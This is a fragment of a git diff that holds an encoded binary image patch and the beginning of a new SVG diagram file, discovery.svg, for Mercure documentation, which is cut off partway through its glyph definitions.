zh9yaMRwJ74S=q_#!>n~#8dFkn{M96)%JmpP<l7VGtO}KUUpYC5ErR-94PpzUw2Z@m
zoKUoPM;9e<GcN#I-4?7JMegsm0qny*@iOzu!6O1v4gu|s1%G)UU)*^mmdJ<1&{;Bx
zk+V5p@Nj7mbvCpm-s&y0Q62Yg0Exe68#dp*+SDW-=S32^suujzm7h6e?8WcLiHC(2
zdcnR>;G|o=JfoPQb3CGw;M+FoEE;*~k5-y?ssz-`oAw{##RNZIV0CFY$F<R`UTj^d
zk=Fdzd9%L{poBNM+?0?Y>O9-mnD*+f66}4Q6vVzP9^uvp=uXju3jia7?*sMYJ4#<p
z4yH;4NJeFVC<V<0;yZp8t^r(O%3*ij36>tWwTudAO;>QSaVmf4k(&dyr=EdoSw?%h
z_{x6o9=olY0n7d~sqR%4fJra-%$98ZCcrk%8mYO3?=?N@kKN1sc5BlI$O7`FISYYo
z0B_xOkQRL$_l^3Folzo8#v}N4f%Ny|*Y-)ux)5j*6!tRwF0hf|b6;9?8mNJff=>vm
z0Ju}ncSevgxVUG3&|kXOvZb>@1-&o<K(<w4KM@zvj+OzDO@lmj&l$L%QLka~JOUWp
zx7Img#zV)(!iu!G36D=tB{st!Yx*)}5C@~aI?QeowYg5I)KsmokGFfdGShNPqh_@Y
z3m)U8oSqLaExjfC<8RVeduccK&TWy7y-!})X`fCfcGG5T3iaDEVl2bTUy1@Yk;Oo>
zyN8b973EMhIXQf`3$s2cvwFf56#Eap%)h?DlR!Jgu2uRH#IwO(P`P^l25L7~%i!#p
zbdXmyFQ|9eEW}(k!o2?S>&;Gd_7F2%lPAc2ybS8Ua{=y|JTZHm9<7W>!z!#kdPyY(
zM9Y8n*gi<p7{v1tRQL5Np--lz;95F&vwP~zd>#k5#7L6Dhxx$it8}e_3JH^?M?1qm
z+)ej&F9~a1dzm~FkPdwd)c#7-S^|CKe7x7!GhL>&-bv&FOydp$E9~0S5(D~hp=mQ+
zP5iOg#izZwlB&fzCmfm(dy_MOxbeFyoyGxkykeyHbOt6x+o5C*KiHJipW(=;d>EW_
z8UK~})uPFVrTQ%M=pLYWb)1}is<8E8*l?yye9bbq_YQY;7rt2&#`oca#HuoO$r2%?
zCOlFOjLfabzklPbrRH#Rzwyc_wpDj+Lp`xPVMUD#JOFuE$1C?p2kLs{`h?K^3!4Y+
z-=c||ck_1}b0X+Dk5;wC+1c#L^iH1M&A$I%i3#|Z&sBl68x(oD57G<ZZfn1cMk{E>
zt3N!T_9Cp*{KVSV-BE33CQ22OdbucTbUUbz7z)u{mR+!pBif*(Cj**sGXV!CZ$>H{
z8Elk+9;<sGHby&vE0>)R^p;^9PxTonm5>Aw@ix`wWPEhsM8_E^eY-IThf+=*^8g8u
zoA5hOwwVvSgokdW0#y*OP|6iYQ&Pt=&!#oiU%DVj%iG(N5Ci83#}sn+5_s5G8{!A;
zgUa|sBITh^d@%bZ<y?D;fe|~)+}!rGSR60m2m?=r0AeIvN7L`Y7Dltg@u@Q<QZs&Y
zhYzS`hWfeb@zMRm&Dd|av#dKH521IS{X3C8$aB#(Z?Ex?T5&xzrkUMCGn$f+@CgC*
zKV&-IHOwbyTeyf?)0Lo{eBZM7XNa{g3XQ2!OvplluSAsI@f1z-3v*}0ow~1f*ZNF!
zwuWkEIp+N{xc);+MZ^WO0~B(9pnllwp<Sa*_Y%*?Qaz4W3=!&IZk?v2#sggRy@-cg
zHG$n1Km(2ZTc;M6T=-J6<$5kXaKK2vYm@hL_J?sF_eKYqkr(8*BBo5c*d;&Glj*+e
zppmjOaGe2imL0|Tn>r12`L|<%oW&}DIM0n)tfMjk?KVGiWJbj;reYRu>^~LRIY361
zm4dw=1b!Vh^TvQvJxi;2d>$@-a;*G@ogZuZEr~6os2Py@)ev$O`2Ye|nf<^j;FE=C
zJRr;a8E}NnR&(ppqxVOX7uEd((!{6WH1XnI3?B(Dfc_0zc&PgsKjJqb>GE(Fee)1g
za67s8oC3OaMh1fI^*>~>l8~>oo#C&{J`My^7?5Gy9YD>QW@0k`E-&@Vqv2eB3+pXF
z=$0CL<?@`5_#_@=CoNV6&r9C8_a`if@M5}<QIKKAp)hD+*zSASHZv|%s?2w=nM3~L
zkdNYA5{@scr}=o+Gby((Y=;4_E}Z@`741V_BrtCdXoa2bYLW^$0gE9`=!cK%+aA*#
zGxeu=4o-bU;*K{j?TP@LB#S+VD{*t$@Nmzb%0Sz_yJL?mpCrh<f0Oqb`p)T*b#h{s
zv0iV|f;T`Fa6F(Vo}ULApYII*@Vs`gYs6t!OB^)x{krxM+VDWZm(9D-w^W<YxE9J5
zj}=?xYG*q6QmU);_kbDt8C{e5`DbW(e)Q*g`D0#(r<rt#O*b%-lb2$dSxsH8SVoYf
zUNUwwVW1IqhWo)@0P@3n#HFmM1&QL8Auy>8vvXp6EdOo5YnN)|Psn}#5)(@A)_O8r
z)_WACqo>F3GA0vV$$H*v5wDps&og)I77ib|${xAV=;B<lA15@`5Z-f4%8>tcUQ#fi
zE06RDyC329pY#rDC~f7jT5^7ZD8;dMfuZPQX(xLz6w5_H0||_|I<$+kk%Ezs=zCyu
z@0ii@dZlROW0qdIt14WMfTRHF-Hkn$9e6(fd3n{%B!D7Da$o5=UE4F75%EO&)JvZ|
zQzOwAE<D)2nkcYUXX#Fpl2^Ef@v;Ty6JRIUQp8@F@^<;2S?kw?gyYQiUu|9x#ZTn$
z{a5lkH8Tf}#efiP=xZc4$6}KE<IaqKvVqd7N&zvWvhvr;dE}-^%%pGvqmA~pCfg%*
zcNO73HRtWSUAp`0+BI(nRwQ(5O*&5^rRB1Q6tKmQ1~kw%qo$L3<<Tf)>_H3Dy(VKc
z;3u_*9&1_{NTz!Yy#FCv3U7km?9UT9ejStjP@@xe+@@_ze6VmSO1mpk3=eVyfkaiC
z_(r@Jv;j58;zW*U<vH(-h}v)Kr3=Nert21O@AJ14o)AO1S?}N0WHyy6d+qV#Hu{sq
zBn(CN!QMjNp($cpWZM!F7&wDFuq)YsK6IsrjdU(WDa{~7q&zqq_xeR?IE0iPLQJ$b
z_YNu{+l`eQ$%4q8H1@NM)P<(C>5baD@^!t@jIF_=fV)f(^DVAOX~d0^>3}f&ZE7U;
ztY+zQ{f9@j|CCbt_iFCnCM$qHdOK)}@T(y_R}LG-<IAFO*!=XwPCX=|-uT?}Avc-f
zhQ7pn+&a%9Z570~|L%5qdc{-!^`p~h3KtpJ-E?i2Od&%{Hve0+L3}SEg%J5nu@$^x
z6~?urd&vuA`6#g|D_xM7h|n<JO|GaPo3}0yTbz|fUU707&H$*ppR){(sQhf!rdglF
z=pf);ak~f&nWymn`)%RQ`L&{AxY}hGmd;vAwGURa$@aU=J)O~=)av4NieulbmqJj7
zB|`XggX11woL7s9kf1b%uQu~lz2KT(?|3@fF*9G*e__L@3WxC?olF7nqm%+ez8Lp@
z=r+K2TydaKDiAk}#wzBnT3ESr_Y`|t5umm8Bn4cM2~x3#?nM&V+T;=cdg~JzlT=7@
zPt3nH6TT#R_JPE~C?vNMydx4%7+b|+vfQ#yoke}7#hiQ$kHB*AM_<$|dZL#c7gW5I
z(>fnBxW3+bKGAJv1ZeiFHaL9`VSCXw?xi;Kf#=<m`MvHO$mqurvGcEO!KA<8J;2MB
ztBtOoApIIcok{Y30uD@}sHzXTW67k~xw#iGu{QAb&LEytn8N;*6XR34pui|eMoU$)
z{;7H>O$n7CHFTeV+@HOLPF524KSaTQVD;Z`l9JKQtSHWhkO*0BV#gypKP_Tg2?PiC
z@4WI@R$3r|6eGMjLa^I@#p=SEw_bNqk_70pxBB@!A_XJv+HD?)PnxUiMEi>+OPs(@
zHC3=L70nM)Lzw&Tpk#HiHkrPQM^iI2BU*R~Mt;uU_7L-PPz@t94E9V72Ik1N<*#@y
zQ~=js6=)_TJw$>u3NO;68HKDZ_o~}Fzm(MeW&%gcTK;bJpe}Z_KLfHGOJk_93GW<6
zX4}KM4h~FUd61z4mUU`e24)F>%Z;H09p)n&yXlaorCHLF#_xd%X@Ks#rs5a=-hX4h
zyy~yXr9k<63vDTEaG}<3jrmVeGM2nw+mv}+62a!Q12sz*IfiyGUw`n*we$@i{4lpx
z-X5*{KB-r0pQvd=pNu1u9L0b4DE1dH5guUr1Pl>Ux0Jss$yhXHU`8KtRef}z0EW0M
zr2C|soc7OZjfoY=$m0o%0Kgn_;tFM9y)TG{1|J+qS*>#kdk=YNSn;m@tyS|LFpp>N
zO3~5ic~!%g@qhT!X1r4e;!-mG@o-ZJ^>A-Es-%iqkHLhc=d)Sj{^vIZ=SK>TPtn(%
ziq*QEikC|bE`I#_pd#o{>wcx_qW&d}kdGnIISwAe$JQ|{m>n&QJ536xIg%aXSmE$)
zv_4pwbEvvNHq9G>^?qx*5Ji}{7OQovreL_^h#BAJTz0{n7>YYYP)MDR>%St|^8s)z
z2chG&9tx<xf5hrAJuNU}Iy-gMO#Zb1y?M7Ms$ZBDBQn}Hd)AyizJqcPZpkhJtW)^)
zmP(iS8QVV<T=+NE$Q)`*8e0Mbe>r*0YLpH_>wvD%_dxN6ncE?m%F-@pV9c6Z-z`xk
z8AK!iX<)Td)HqR(rK}H$46aE!jy>fTP%{Up;crZp^Qf6vyIQOq%3~-_fyOHSF)pDZ
zk;XDtRkIL4^v2XU^-WOzX=Hl^Z)yGpZ>hvV=K_a{i5Rq;c8|%+ehahg{?wi{z$I@+
z0t2^=)kd?3xR&Q+_a8`je+skWHdi*gATnAf|F9wt=DgXWAR|Wh&k^*0bfN$KO+T}D
zIS<}9B`+pV>Fhx_Wg;CV)9?M-O-&<ar%1y14jzE5k+A;oJ&ud*`NQ}QZ}0JBU;$5A
z3wk1uSnGQ%ty`YMYBYXG4MBCypS$Sz0J<xvn!h)cip9ml$Xsa!gEPuX&jf_7sE`jW
zUX%mEG|viiEy)YNCJVp6gwl@-A;M;^3hk?<@Ttt`*F*zr;vZmL!K|h<3}#_Rt^)L*
z$%%XK14ri1Jo!<oun>YPI1BY#euWoQp3aG<f&4w(d4CF^cpvAM1Lj}?@JEQr#OM7T
zep1PIRhHa1oIIwO$sZi(;wDj!?@1>=WM^M~h2+|4-eQ_PHzikF;ePH{pin~rj2%S!
zTVL<j+|kV-6duQPqttDVS*&_avKE0X<ksLQFQA3_M{WnA3{bDF$ywSV6$9P}OK(Oh
zL29vDkrBa_G(Mth0pC(FT$-mo65)(CZyeIM=DvRB;rSa}-i*hP^k*+>Zyx;P)Sqqq
zCfg-Q9DA@E{$aYLk95;bk58Tffx@JXZ))Xsse0X45rz}pVdU$c61br5<B@kXZ((cd
zL@D&3Y0~FPK|2CD!0bX6-{e&h7HUEa=)nAxb+Geu35v9{*#VXp4nXHudrkD*hrcD0
z>3|^Wn4k6dy8Qoz$I_+qE+HFTrfO4znoZ#QhsduonIbNVkKSE>4V`cH_lq1y7WV@L
z=Fw))H$IadoCmuKB(L8&Zd*?3<BI2oumP%2AAsbOr0D~o7z2zJk>};N{%OT9$VaoW
zHUZnY4YcG^JAqAYqw}dR9X@-90MaU&mK`y~<rMvhHynO#^!IhGEIa>*tb85JwL1XF
zCY)fE8c@|uw25IL*u`l5Fmry^dMD#=vMv?)FDoQM0Kw`OK9qV#AouD{13riJ&x{!M
zZCC-hE7qBM$1NMs=4yUn{#%cY(Y?7HOhI*>*qw+rNWqja;>^<pnLU^-tv_Gu_|9>s
zMJt|qwv&P;^h+H2JQeTq-Twp*|4(p?@!rn-#3&~L8QBXiWyLxR0M<$z2MN~*8zAay
zWDTh-tg+oGTC4zKVy{ElPSK=B&*a1(J_z%)HS5)+JpK3f${KS@3G#?Ae03I}@0S4=
z_B<?fIp3~F=WP%YP&d6If84q!O}EN<**M?0Z69hD#%)l?dv|6*)lco?mV<-scfPq<
zQoK#qPOz@EJvy*h_ey0g^}d>ynfsaOS}c)6gWybQbH`#*^~XJs^ZM)_=?y-0(7Qwp
z^tg+ItsS>yb21|+#yuYr5Ivqyxu=*W^L1Zcr0pgpp;pLoODDVNCer$tDQ-gI_7|cG
zm{3ndjiq^|5Z}qiuSYphwvJ5yH(7_Ntjz3bUh41s%tu^jA~eU=03BLmJwoGIeGMxq
zLuqb)P<|O?_~WE{d?Ho|CzqF1n=4%S0_pv#VKbO~9BDtQsfXwxjZK*T%Gy$s=p)#+
z(Fa>C{3hgp9gD3)%H{V`e<ho2FaAwsgs3JCz<KtG?zjdD0==am%xv0pSK4Nldc~+j
zfh`=YDjeB630wtoQr7+IwIg|Bl6^u^GGu~BQ$a!DRzp-Y(*C?fZu=W05F)!xU;^wr
zEyg$Zh1u<UCI(?CbI3Sm5d&?`gyaiA^yLWzY&lCpdeJip2M8!0PG^Xc5O?l-Z8g&l
z>&XrGH?|tI0_Vx@Wa!HN+GTuJeUwtQ>s*v!Jvd&jsQ;TfAO$t(<hol7zN;6e`>z5?
z|L*<&5gur%Z4a?q{MD6N8u<C1jqS_$p=J@u{%Wo>*yO0>BSb*~MEpe^CVtl|LyiMr
zL+4?3ywns_qp4rODm&gR(k*O{w>NVGT12wm=9I8#{?nB|MLyy2t95Gmw<PX2I&q{*
z!twBf!ZGpDE7A|7o!w_S1{$iWY}GMeFrDrW2p&22yT=Z=pRDCLgnDS^bv>OmL&@Z8
zYsWdR_3_0nC3v7VC*{nj%j)&Nd6-Y42UIfgjR;dO<pm6T(mC(Vl~6-x*m+na5WJ&Q
z0~<v|or6E^YclDn#1p^+!9`rmd`jdR%9Pb++0vXEMbV3$ouQ+8)@j0zV^ydw-$q{e
z+K8nH{$TP~aF(n~7Ut2}Oi6qSf1+vJ2CAP<`vyZ+PC(=&Ej0Dq9ZL!JJHHUkjZ9Vv
zOsO=i-FFaF!o(A~f%e~DO#MHwJ@ues6?E?FjB}q(A!3%9vC_`zv@$EI&!Kho+`*@@
zUt($D#_@Fev3Ah)Yu9y<s{0JxU}YaWlWA$Um}_gtKa=ip^r!CIL(k`;khIee8mWb4
z$cvdG)}fCl$2llwd4EtRH((e=F%I-acM=VR(KfH0`K8y5MX@X#J84-2>=R6ykPn4=
zoGAv?Prg?s?TlD#b2(Z6iLVipOit$2=Cla**IJAVu^K!rm6~b#B%)`dv%rW-AXr^t
zyY%+Ua4a4>WfVMfx`_H*@0@pff4zC=ufH=MG`y)$#utX09?0Xdx*$ENM_{s)7(UIA
zXJ$W+a2`rbsGWE%JY33`C$&2fsjLwZ!PMy|kzUv4@UuZBMdF9uV%G<S9u<5OdgERm
zT(Y?8u;f6*&6M~A>aa%Pj<!%L$sE+OOWk>@Papm*-*i=$IGQz?yNetqpYUtg&uw7}
zk8)_bUwbJ=)EK)qME-K@4buWIE}fe0oca9Rfi8vh1}-)a2`sQ2cZKdSV<#+ioq;>(
z`i~?Sz|Bno3t-PpP;M~?`Q+By(wNvSOmr$evfNpYMn{wcnm*YriVru?|NDz}deiH@
z*f`$rl_%<(fw=ANzi5SNrVf0w+FUxEJ?!ip`t#kVW8pe3%!QO?T4w=0k;_WI93d~+
zS=r?AS?qb7AgJ(%9i3A3@JJA6YNQ$tC{F)5ldes$fVz;vWhU=geZYEJ3E50hLpfg=
z2{@9RC?IUFCsj4N%l{60)-WjATk(~26idC)#fYs4dMH7%m*c<(kBbW(WQ59^4RcSd
zWDioR_NawqcXnkxhR7l@)8>aWbA5_=ypPkqVkcsjY-8f2!+v9;Lx`-?wYBtRSkfd)
zzM&LN^uHhR--p4pw5d?uH>~j}-SKFEKyCezOr9`th}>xfla$^LHrGlJqjXFbKHaF!
zC)S9wI^l{E#Y+!^MzK&r8&cBPo)L$wj!*=WS$dbikS3D%@|U;i3fW`)-m*o+iR<p9
zxHwU=Y#7tg#E%loJgeC3(3H|qq)BEEfs9N#xGxOnlzNnaD!$Z=t_)%TuFYs*=ThRA
z__%v;YMRG4_+W!hm`au03l>%y%9@VHb_|otF^11C;NQ`K(fL?B5S$p&oY`Hi5<e_q
z?XP%W<QQetyCBE~_A<<;^ZP4XU!4Sd#Qmo7{+zcLbX%3$V?mT}vg~$BOE2q3kH~_1
zy8-PZv^w8o^^@<wWlIIqCA>cT)XFZ*;Ay#f(Oi=BWJhuf5lY>fnrs^lNOkb-w*5R&
zj(+>SI`qJ<vE|z#$8HgZ9Q$)lQmgFft|D>1!I|kiHuAhRlITQbeCm!e>M}2ZU5Kdi
zi+%b7)aVb|Vvtpg?L=%BzmN`_-sN-QJ&#tM5*B;^(>?64ZW~Q`$uKwA9LBh!&)gg!
zpJ}C~a=wvcFFR~sK|T_C2~TORLS~h+>A!n<?=Sq>Z(}0}^d*nCQ21|(?1|bQU4H5v
zQeadvhv|`>Y{qjS-y>=(F;b49>?#+sop(5f7x!eOjScKSa^5?pj`Xz#-4-L5ivTyn
z9H8O|OMZsXg;(#CKYCc(1r#P(Xir7wklR<(PfySmb5}?oU(8HIoHYn*zM;mA{?%Qw
z@#<x&!X11g8b)pjr=<1Rtx>K3n+ev4<PDIvB1I|-BVMtIoa?%Splz<#tCX2pYAZnq
z@|}HOTXM+^;uM5Jz|~YLU!{AoJa>JkX~C@7AVB)qqel%^4Y6mQy~e4DG*OFCPG?e5
zo~&&t96{?*DnX~g_)F|uGEA(((U3D{;vRdG_*FCZM>Se!-+pSlLeteL>tIxpSvEE+
z;a+?bOrBnfhKAGjUK*vA&$<cKjMol1QEP|(izEkq%8uze`|jiZGSbQ)&zFAUOC3Vn
z*OYfHt)h~aJz4n#cfReJr}U^h3)`$k#;qn8yDUz@MT#m9k4STiY~VYmeTMK3qI9y!
zjLJPl=Ywy~osY!PuCpQwy}oRd&UT*02!&T)b~{VhL3-B6v*EHzxXFM{O&M*Lv2NDq
z-Gr&{#!Qjhx`M0<`TXu#<<26Md|P#ady8qihEf4`dOLX|hd4bBXNj2&)n1l`HRcRM
zlRS8W-vr9E&V#DobR}!#86BvV;n|Y9)@Cbtj@zF~<8Wj(LN+!=```eg!@WlxPyU{i
zk3m{^Qm1kc+i;53+U@h>zwoiYJ#g^t@LQk^Uaz$6F!J+Ulio*JnG+*J($cE~dey(6
zJj_;kd6)0nDFcu;v+fS>iClC&)(KN3bY{aVa88y!H5_!5QXYAuY&V$gp|f;^c>!w1
z&Zo;wIer-Ud`~WCQqWEijjb8;1&73kxIA1ov*aApZuL!^0bMM1G-X*TSSb<t`A00e
zJY3Y*x(FoUbMg}ig3i?3#H;nvCm?=j*0J3blQhdlEnR?s;r;W+aIa<CLtE$Z9pCeF
zq27&@c;*2DIs<x1CtnmYQXqi(DxOm#HX^^6*N3^k?}|-(K#T)cj(o@pTjixXNN&hb
zjS`|dil%Gt?9N|*zjEI<%W8s^81Y5QisdMX)v|XGP47JmnpSV`eY(Y9n??J&hDBs$
zmHU*_1?*SshL+8pgQKi3{Pv^`qZ`2<(2Ua!wWa-)@VxtM*Z6!qC@-3muU^t{<{MWM
zo+bCTsr2a6<IKQ8)>xXn-q@|wau2Ce<(@Ccq*nX{sX&w_kp`kP51|C^l=b6%@h!a6
z&^VBksWTS3a%>Vsr=Q=_Bu3xR1j3=&q)$#JwlglaXQ+bOocu{FW}Mcq4jtVW0`^?4
zI<sGyWTiio-$p67-ga%6_noMMG@ob(U};j1I4>$%tqtgE<@-EcsM((yJQIiGI;z4B
z#$vu;Kq&t*a#K7fxtUEx#7{DlZo#4sbIs~iW~I-HO~hlev7~T6$glNHnl?#a%-?DZ
zyNbAKv0b1gGwB>*dW^J^XxjF~Y|mzObql@;o-0_&ZV2Apc*$H=P$Nf57a7_J^@^BT
z<smZeH6q-jp&BEQGh}@w9j+edXh$adc9eHH$~a82%+ScVvzz5aSEu~g?}9+{yXD~Q
z4CJf%8KY|&hu}&_MCI_(+k>S|2v`sQLFa@Y#dTLiJMu=rwv1uoez+=h$6KLJOpsZc
zoo=)q)t($Ns8M1q7Y2T65RvDZZRARvx7#*^&!8X`o#7)Sb<p<8bUiZ)F#yhbdGRum
zfQXTS&3e*py}|?agY7mZ%LS)RHJk>-!WfBCP5?CwgUib6*|}Eg9Ud12)9(8iFvx|*
zwO+g|Gx3V5IM@$)GjN<kcCU&QwNh}X-x_g}-CQ~LG;0a;^4(mqdqMuGoYiMQL`(g~
zjR(_GVxq5~{<WDtG%W#FA0_}R%?VP2@Qwz^oaW2yBgHg2j7kU|G4Vz^9Bp*>EOisR
zZ$Bf9R<_qtsuEBZ5>EILO3L7=BHiM;g&Q`F+<43U>9$>2b)8;Hu~p>eWwW`KsJ&s*
z`B8h8y^T|C(i5ClU3QuDZ2c2nO-@&E6o8acHWbvXqyn@sD|4bER!_;=(gm4&@8IOi
z#~UfXLaUvaheKU`svk|J`FKm#S<Ld;2efWq>&LWx0V4&8BuGc4bAhxn1rW%XNXHJO
zc5Hv`+BZn|U1`Q><<bsrj>r2h)4PLZl&)Vn75uCuHT@+rDY@*1?qRhastZJZ_5Ait
zV^!Ws{vAiM-Y>JPUSwQ!*Lh|ai%qI=rz;JY>AB6_)ib|LUN-r97MaVeoy_y)S3$ln
z=2wzh+K;l@H*ExUhj$l>V){SNTDbjq01=z)&(ImIbN;d#aIHP|?}Xn<)g35B{IZ%j
zPpv3x{1zP@e3R~>_U(X|H5OYI!O0wElfK)kjM=m_UC2jqT|G7C_ANv;T3RyJ9)+aq
zpvbaC%mD3+iy5k-U7HZPwyHjGN{+*BY}O*i-tMBqQv1(JrU25;lw~KW!d{x19o@+p
zPl-m=ai$BO#uZX0X~@mfGhA*fcN6)Na>3sHuNhf-(U)tR&e)eqnX5wsp*)WA*Fu_p
z1`*2hB+g;QQoD?5^&H`RaY%PrVK=;Rc1ws`xSHz-an{0O6TBn8V*aH)x>o&*prjDY
z*mM7QugiM9%Wg$jaF79|J<HTe<;`%wMHbSa8)nIpN_Rwr6m!l3r<=%Fm2*1o%Ss-_
zjrbGbq*z~6>)qQQ9gB_U|Dh=<AMVvHjCZ-KxKLaxYxVisCmusU@xXJ*veS)4^Q4pS
z8QVN@)`*W$bHGg*snww@Y<3&n6jtdhxx(5fCcS0Ga#D@aKtjYAVr73SiyHmXk;%rP
z5@jr^8F`+)RKXjuv7)w=DmcAk-8VmMv#!n(YIF`;;O*Zm!4aNTyEwcoU>C;{|EnDL
z3OKRR?%CF`qqmdr%&_zve8jIA<@~tYfmyBwnG-SeY-U&b$zJ)?$q^GvA!WkZ@~n!z
zlP6j~!P{xyPN_diN42gx{(m@W-+`N-%C|Nc@p{J(TZl$lI3t?NnUi;CI4TyATy5>>
zPsfmFXqdG7{jM*h(XV4ei{PA2VUbvJ+)W+4x>Z;EBqge<>VXl-$N!$d{YmehXP{HJ
zm_@sLl<dQ~Y3XvzAW{LIucKW$EIMR%va%!{HXAt*_H}(y6Fb?_*%~5XCo^~=Y<+dI
zuKGor$HTgX<t+<1>Ql;vyS)6~_Iv;9(ulaH!0BV(&R!TiuT0gR+kwKKQi3=Sa<o~b
zU>k>!l_e9NfLHZ-_e)nE{_x(cJ*}-G6V{?l3*T{Z>x^gsDASvThz2u$$!yl^LiQJO
zH2nGD1((T&hsCq?qD-#33<cju;se7DmWnjscyTc`)2|iQcW?TE!ACqcURk`;<B5i=
zauzczn!=-%Hsiha->iOSV_)wTg0H-S(&pWJRfeB(-deZoJu8CcM@w^8hIaQ^_trTd
zd<OT|HN94_Tt#=Huq`~P1TpBT7?tjr7x`%Jk01P4fvpMI8~^xU;v5HHtm1ezHlc_b
zXHRNIA+DXRidbP4>Ew%0CYtV;7)Ooj!Y-wrp2uF1L(!NO!|tm^Gj#l37l-(RNGP^8
zSlI4nYnUUcOP#AUWccxQu=!g;)1=f`0XHGmCB!@ZAkpRx%Skr=TK{ZukcS$%Gw)i8
z`ypK)qi(vGKsI;VJ#@|W#_SBPqT+_yiQA_}_n5`n^2)6aUMU>(^Yk5vJ^0J&5uV7L
zCLwUwiyGs1T=UKka6MW~@|a^Ir+2npx|1W_Xq_(-R1k}cJv;O?Q6gWftH0T;!G8I=
zxdnq)$chHu7NH~u8g)?Alm;rGw(Ihnxv59MM_IvAODFqu%2=Lq+ia@Db`b!Sx<bPj
zPd#;&RQh{j*xty>Hv2wr@4DR7pKIG86F$Nn87JO)<6JQz-Rq3*9Z`%kvc-q-<XUh7
zyE0n2vs%UGrR&c?_kQKw2MZ(2GVIn3mHb5>gXkuCVn&G?4@W}DS0~Qk8D!vD?Qdl8
zdV6NrJ%5a_l&h*l4cc|pH#}$x<||)41sjVN?YlgdnnlrTfRAkV-Bwp>?+jf;xX-3R
zlh&7{jmH|ynA5Sfv<@rJUEFH~*MmrW;uU{r^6*s&AXLit=m=UKUTZ0SqA!lOht|#^
zaw(Vjs+;N17F2fhB?-+lEBht)SwnUX1!R$y;Bsh?-rIcG1Ec0<@76weRrWDlVd={l
z@~vPl*+sQr^EaDU5Xg@azw431?<Y9x%)`A`KMLx$ZKoD0iaxz7)App`i{dNo*PhRj
zp;{d6W$bjmHo55pRd6lT0ucnl#l;h_Tt1dvIhMZUg^TUixLhy`_k4qKoxvz<U)}<6
z*HhgE_n@xX?Eo5UJ6JB$0op>DfHl}+sV5=&q&<eR$HLNq46AbNG6kdZzzVDj)3Age
zCys@#4^Fw}*13(>jnCu9vtRdFvZ762IFnlTI2*8T-Wj*KROzMBQ!ylr&(6V*I@=vD
zHV=`L(J{=2r5H9I9<Khf5?0s8#i333wZUtzTyb%-xjG~KaG2X}_~rFyzV_<O>%bZv
z6ogQr;Gc!jk#sRxjrswB9F@V$&v;|cyj5cvJB(z%B&O87F*HEgssQU`*jkG^@5(v^
zuH&mwYVn)Q5$EMU;jVmoZ7Rr<4S+q8y@t@DXU=^WpV(3+iW#zmxF02{moQ1`l%|`?
zo1Azo+0!T#);{XhgbP~LIi+l#^rc7-n$2R6$CocG7tKdBMM3;MXY853dGlQl6t0|y
z38Xk4ad!-|OCASzQwpdY;biC~A?ea>$Y*)V<6QGuJ)2vNBU}6hL=tDT>T<m@i~q5G
z;;-~d6{^rZTeSl%oBt&=uj5fX5CS9imY)^1+)qRmDDPHe74l^?2c&KW2Zw%iwCINt
z;6IWJ*6Z7~b#~q;-6&r4@88cPL8c|MNEWa<Z^2KLjbB1b?_XDF#QVZ^6`T7C$o1aN
z&wymhBZpDaVnPLCHCMs;Hct#$f8#|JCy+*i$&)7||1I%|01^+H-M;X9=W;fxs<8hd
z!~Fue`mk9rNXu@%LvATneSk4*Ec7PbqrU-khPyJ1;?d5AqcKbt|2GpDJ0;?O=uudA
zm`tT+&$1tK9S9gt1y0A>R<hh#a1f96WeL5je1OTc>xQ)KlP;a|T0STF(=v0AhoQgb
z`sLUH7qc)zb0zpVB*0m6|A7fO%t>_%!M3B+a~-z%(3A^&j#9wnWsO~ib0gy#8{DbU
zm?1|0=jXm&n{J(k9=rCo?;N9g@=QNwy-LjCxa>a3$?@5qq|6uT$*@%f&oOgE{{K=Q
z5TT$Hp-h@>ruP0=2^w&8pGHv_TBW>ZJ8f5vtTooyNFwaL6Qi7$F)wrR{>8jX5$f_(
zU(d=aJ`cC3GNZD75p>JTHFrl%2MD9r#jYFP0f3?C-YJq3&`)g#fW>O`Dxyz)O6Pq4
zpwJn23N~SzczQdz+}f`6e+Ro{{GsLG!dBcPRagUx5}ZYRoqM8a3bpmbKoXV&qPA61
z@izoAqI=jY-<xGRE){FQSEQs1pN}RQ`p_w?gR3A~@e3sE<jvp6AllJ;#%iORR@umF
z(bEldB*F8|Ho;kpkv<{s-xxH@%%dHD%|PiV+wHcvSnkDXh*|oQ6Eb0ys<dQa{09_b
z@e#EcAYepN<X@R_*;r68&u4By!dCV4^L6L$mbS<TvE!Q`a><Fhv@S|NkryAi(v;Z=
z@aqo6W+A6NB^{^I%fzLnrr(A*t@l^)cukI$JKKEvOnzVC^gZbX#Oe(8qugttTZ+&_
z^tv<wGn-z7(j!oxlc-y-+B^ep0&LaRe7jqMkMC!%HtWpEVj=J9tOL=3ho&+|DR#Mp
zK^MAoW#G8ZZ?+Idt3lTWMT+OD0KQcr%(!qzCnRJO|I`aoPH#*HaA)bUfB$-=zrPLJ
zsCf}wd@ZN;aKlZbzfx{`pW@m=m&hDCdWTLek&E9uOtIS9^~;Vay&OW-^YVqVA#vk)
z<#$7%H<<od@&OC7jkwxtUmrDy<0fAYZ`S6|iUwT!{AH_~GTWBkJIi~OOX^?x$yHDE
zxHT)Uh7PLYrmjpBw5FAk&4<R0Yd6m=kYOXN$*o%Hu05j9XMp>VqxIhDDCZ83091<M
z1Y1UG(}i;SAK=rB2e&}-8hd%iU%7RHo^s3J@2W?19qk<+Y(K^!K{z+{HVUUsbROIu
kV8@CLy6zjQNzI`!ToZx4%M|4qH-H~0ae1+CFZ4hDKi{M;wg3PC

diff --git a/_images/mercure/discovery.svg b/_images/mercure/discovery.svg
new file mode 100644
index 00000000000..ed18381068a
--- /dev/null
+++ b/_images/mercure/discovery.svg
@@ -0,0 +1,294 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="268pt" viewBox="0 0 584 268" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 